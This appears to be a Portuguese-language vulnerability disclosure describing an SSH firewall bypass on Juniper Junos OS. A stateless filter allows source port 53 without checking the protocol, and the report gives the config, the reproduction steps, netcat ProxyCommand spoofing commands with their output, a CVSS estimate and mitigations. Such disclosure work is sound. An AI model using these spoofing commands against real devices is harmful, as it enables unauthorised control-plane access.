Informações Gerais
- Título: Bypass de Regras de Firewall em Conexões SSH Usando Porta de Origem TCP 53
- Produto Afetado: Juniper Networks Junos OS
- Versão Testada: 24.1.R2 and 21.4R3-S9.5
- Dispositivo Testado: Juniper MX204, Juniper MX304 and Juniper EX2300-24T
- Data do Teste: June, 23, 2025 8h10m BRT (GMT-03)
- Reportado por: Adriano Mauro Cansian (UNESP – Sao Paulo State University, Brazil) e Joao Fuzinelli (Cylo Cyberloss Prevention, Brazil)
- Colaboradores: Giuliano Medalha (por Wztech) e Gabriele Zancheta Scavazini, Guilherme Bofo, Guilherme Romanholo Bofo, Matheus Bordino Moriel e Kim Morgan (por UNESP ACME! Cybersecurity Research)
- Contato: adriano.cansian@unesp.br , joao@cylo.com.br
- Gravidade Estimada: Crítica (acesso não autorizado ao plano de controle via SSH)
- CVE Solicitado: Sim
Descrição da Vulnerabilidade
Uma vulnerabilidade no Junos OS permite o bypass de regras de firewall em conexões SSH ao usar a porta de origem TCP 53, normalmente associada a respostas de DNS via UDP. A falha ocorre devido a uma regra de firewall stateless que permite tráfego com porta de origem 53 sem filtrar o protocolo (TCP vs. UDP), possibilitando que conexões SSH (TCP) sejam aceitas indevidamente.
Impacto
- Acesso Não Autorizado: Um atacante pode estabelecer uma conexão SSH com o roteador, comprometendo o plano de controle.
- Confidencialidade e Integridade: Possível acesso a configurações sensíveis e manipulação do dispositivo.
- Disponibilidade: Risco de negação de serviço (DoS) se o acesso for explorado para ações maliciosas.
- Escopo: A vulnerabilidade é explorável em qualquer roteador Juniper com uma regra de firewall semelhante, especialmente em firewalls stateless.
Ambiente de teste
Servidor SSH
- IP: xxx.yyy.zzz.123
- Serviço: SSH na porta 22 (padrão)
- Localização: Rede interna
Cliente
- Localização: Laboratório Número 6
- Endereço: IP público
Roteador
- Modelos: Juniper MX204, MX304 e EX2300-24T
- Sistema Operacional: Junos OS 24.1.R2 e 21.4R3-S9.5
Configuração do Firewall (stateless):
firewall family inet filter protect-re {
term allow-dns {
from {
source-port 53;
}
then accept;
}
term deny-all {
then discard;
}
}
interfaces {
lo0 {
unit 0 {
family inet {
filter input protect-re;
}
}
}
}
Passos para reprodução
- Configure o roteador Juniper com a regra acima aplicada à interface loopback (lo0).
- Inicie um servidor SSH na rede interna (
xxx.yyy.zzz.123
, porta 22). - A partir de um cliente com IP público, tente uma conexão SSH padrão:
ssh user@xxx.yyy.zzz.123
4. Resultado Esperado: Conexão bloqueada pelo firewall.
Tente uma conexão SSH com porta de origem TCP 53:
ssh -o "ProxyCommand nc -p 53 %h %p" -p 22 user@xxx.yyy.zzz.123
5. Resultado Observado: Conexão bem-sucedida, indicando bypass do firewall.
Estimativa de CVSS v3.1
Base Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L)
- AV:N – Vetor de ataque pela rede
- AC:L – Baixa complexidade de ataque
- PR:N – Sem privilégios necessários
- UI:N – Sem interação do usuário
- S:U – Escopo não alterado
- C:H / I:H / A:L – Impacto alto em confidencialidade e integridade, baixo em disponibilidade
Evidências
Comandos executados:
❯ ssh -o 'ProxyCommand nc -p 22 %h %p' -p 22 user@xxx.yyy.zzz.123
❯ ssh -o 'ProxyCommand nc -p 80 %h %p' -p 22 user@xxx.yyy.zzz.123
❯ ssh -o 'ProxyCommand nc -p 53 %h %p' -p 22 user@xxx.yyy.zzz.123

Resultado: O bypass foi confirmado, permitindo acesso SSH não autorizado.
❯ ssh -o 'ProxyCommand nc -p 22 %h %p' -p 22 user@xxx.yyy.zzz.123
The authenticity of host 'xxx.yyy.zzz.123 (<no hostip for proxy command>)' can't be established.
ED25519 key fingerprint is SHA256:zsfUbBo9nyytTLBgdJADBvYDgqiNGqYWE1g7c0nfv6o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'xxx.yyy.zzz.123' (ED25519) to the list of known hosts.
(user@xxx.yyy.zzz.123) Password:
❯ ssh -o 'ProxyCommand nc -p 80 %h %p' -p 22 user@xxx.yyy.zzz.123
(user@xxx.yyy.zzz.123) Password:
❯ ssh -o 'ProxyCommand nc -p 53 %h %p' -p 22 user@xxx.yyy.zzz.123
(user@xxx.yyy.zzz.123) Password:
'''
Observações
Observações:
- Nesse caso utilizamos primeiramente a porta 22, localizado em ‘ProxyCommand nc -p 22″ onde 22 é a porta de origem. Logo após ocorre o mesmo com a porta 80.
- O uso das portas 22 e 80 como origem é mais plausível, pois esses serviços operam nativamente sobre TCP, diferentemente do DNS, que utiliza UDP. Contudo, isso prova que para qualquer porta onde o usuário permita conexões de porta de origem no firewall de output, ao forjar a porta em uma conexão ela será aceita pelo firewall. Caso este que não ocorre em firewall stateful, já que existe a possibilidade de checar se uma “conexão” é nova tanto em TCP como UDP.
Mitigação temporária
Filtragem por Protocolo:
set firewall family inet filter protect-re term allow-dns from protocol udp
set firewall family inet filter protect-re term allow-dns from source-port 53
set firewall family inet filter protect-re term allow-dns then accept
Restrição por IP de origem:
set firewall family inet filter protect-re term allow-dns from source-address 8.8.8.8/32
set firewall family inet filter protect-re term allow-dns from source-address 1.1.1.1/32
Alteração da porta SSH:
set system services ssh port 6666
Desativação do SSH:
deactivate system services ssh
Recomendações
- Testar em versões Junos OS mais recentes (24.4R1-S1 ou 24.2R2-S2) para verificar se a falha persiste.
- Realizar testes adicionais com portas de origem diferentes (ex: 80, 443) e com firewalls stateful, como os dispositivos da linha SRX.
Notas / observaç˜ões
- Até 27 de junho de 2025, não há registros públicos de um CVE correspondente a essa vulnerabilidade (fontes: cvedetails.com, support.juniper.net).
- A falha ainda está sob investigação e pode estar relacionada a uma configuração excessivamente permissiva do firewall stateless, mas não se descarta a possibilidade de um bug no Junos OS.
Última atualização: 26 de junho de 2025, 18h10m BRT (GMT-03)
Com a Colaboração de: Giuliano Medalha (por Wztech) e Gabriele Zancheta Scavazini, Guilherme Bofo, Guilherme Romanholo Bofo, Matheus Bordino Moriel e Kim Morgan (por UNESP ACME! Cybersecurity Research)

Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.